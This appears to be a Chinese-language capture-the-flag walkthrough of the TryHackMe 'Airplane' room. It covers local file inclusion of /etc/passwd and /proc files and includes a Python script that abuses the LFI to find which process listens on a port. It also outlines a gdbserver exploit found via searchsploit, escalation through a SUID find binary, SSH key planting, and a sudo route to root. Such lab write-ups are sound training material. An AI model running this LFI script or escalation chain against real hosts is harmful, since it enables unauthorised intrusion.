信息收集没有什么信息无法连接修改/etc/hosts文档观察界面发现存在本地文件包含用bp抓包在/etc/passwd下发现存在hudson和carlos账户在/proc/net/tcp下发现1F40和17A0十六进制解密后发现分别是8000和6048猜测还有一个端口nmap确认端口开放用以下python代码扫描6048端口import requests import threading import argparse from queue import Queue # Function to fetch command line for a given PID def fetch_cmdline(q, base_url, port): while not q.empty(): pid q.get() try: response requests.get(base_url.format(pid)) content response.content.decode(utf-8).replace(\x00, ) if Page not found not in content and content.strip(): if f{port} in content: print(f\nThe service running on port {port} is: {content}) # Clear remaining queue items and break out of the loop while not q.empty(): q.get() q.task_done() break except Exception as e: print(fError fetching PID {pid}: {e}) q.task_done() # Function to get the inode of the service running on the specified port def get_service_info(target_path, port_hex): url f{target_path}/net/tcp response requests.get(url) if response.status_code 200: lines response.text.split(\n) for line in lines: fields line.strip().split() if len(fields) 1 and fields[1].endswith(port_hex): inode fields[9] return inode print(fNo service info found for port {int(port_hex, 16)} in {url}) else: print(fFailed to retrieve {url}, status code: {response.status_code}) return None if __name__ __main__: # Argument parsing parser argparse.ArgumentParser( descriptionThis is a script that will use LFI to identify a service running on a port. This was created while going through the Airplane room on TryHackMe. A big thank you to n3ph0s (https://www.nephos.guru/) for sharing his original base script with me, this is built off of his. ) parser.add_argument(-p, --port, typeint, requiredTrue, helpPort number to identify the service running on) parser.add_argument(-t, --threads, typeint, requiredTrue, helpNumber of threads to use) args parser.parse_args() # Static base URL for the target with LFI vulnerability target_path http://airplane.thm:8000/?page../../../../../../proc # Prepare base URL for fetching command lines base_url f{target_path}/{{}}/cmdline # Convert port number to hexadecimal port_hex f{args.port:X} # Get inode of the service running on the specified port inode get_service_info(target_path, port_hex) if inode: q Queue() # Enqueue all PIDs to the queue for i in range(1, 1001): q.put(i) # Create and start threads threads [] for _ in range(args.threads): t threading.Thread(targetfetch_cmdline, args(q, base_url, args.port)) t.start() threads.append(t) # Wait for all threads to finish q.join() # Ensure all threads have finished for t in threads: t.join() print(Finished fetching all PIDs.) else: print(Failed to retrieve inode from the target.)确定目标端口开放的服务用searchsploit搜索gdbserver存在的漏洞在文档中找到目标的渗透流程监听端口连接成功查找有特殊权限的文档发现/usr/bin/find在GTFObins中找到利用方法提权得到第一个flag但是只改变了euid生成公钥将公钥放入.ssh下的authorized_keys文件下ssh连接提权到carlos账户用sudo -l看是否有可以提权的路径用以下命令提权到root在/root下得到第二个flag